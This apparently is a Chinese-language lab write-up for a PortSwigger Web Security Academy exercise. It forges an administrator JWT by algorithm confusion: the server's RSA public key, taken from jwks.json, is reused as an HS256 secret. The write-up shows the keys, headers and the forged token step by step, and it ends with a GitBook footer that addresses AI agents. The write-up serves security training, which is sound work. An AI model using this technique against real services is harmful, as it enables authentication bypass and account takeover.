> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).
# 通过算法混淆绕过 JWT 身份验证
通过算法混淆绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过算法混淆绕过 JWT 身份验证
**实验描述**
此实验使用基于 JWT 的会话机制。/ 令牌通常使用一种强健的方式进行签名和校验 **RSA** 密钥对。/ 然而，实现不当使应用程序易受 **算法混淆**.
目标：
* 通过标准端点从暴露的服务器中恢复公钥。
* 使用此密钥伪造一个有效的 JWT，以允许访问 `/admin` 管理面板。
* 删除用户 **carlos**.
提供的标识符：
* **wiener : peter**
**JWT 初始**
会话 cookie 包含以下 JWT：
{% code overflow="wrap" %}
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```
{% endcode %}
**公钥恢复**
服务器的公钥可通过以下地址访问：
* `/.well-known/jwks.json`
* 或 `/jwks.json`
返回的内容（JWKS）：
{% code overflow="wrap" %}
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
]
}
```
{% endcode %}
**负载修改**
JWT 有效负载被修改为篡夺管理员账户：
```json
{
"iss": "portswigger",
"exp": 1767551470,
"sub": "管理员"
}
```
RSA 密钥创建
复制并粘贴 jwks.json 文件
```json
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```
**公钥转换**
RSA 公钥被转换为 **PEM** 格式：
```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----
```
然后将此密钥编码为 **Base64**.
```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=
```
**创建对称密钥（oct）**
Base64 编码的公钥被用作 HMAC 密钥：
```json
{
"kty": "oct",
"kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo="
}
```
**算法混淆**
JWT 的头部被修改为强制使用 **HS256**:
```json
{
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "HS256"
}
```
随后服务器使用 RSA 公钥作为 HMAC 密钥，这使你能够签名一个被接受为有效的 JWT。
\*\* 最终伪造的 JWT\*\*
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```
此令牌可访问管理面板，从而允许通过删除用户来完成实验 **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)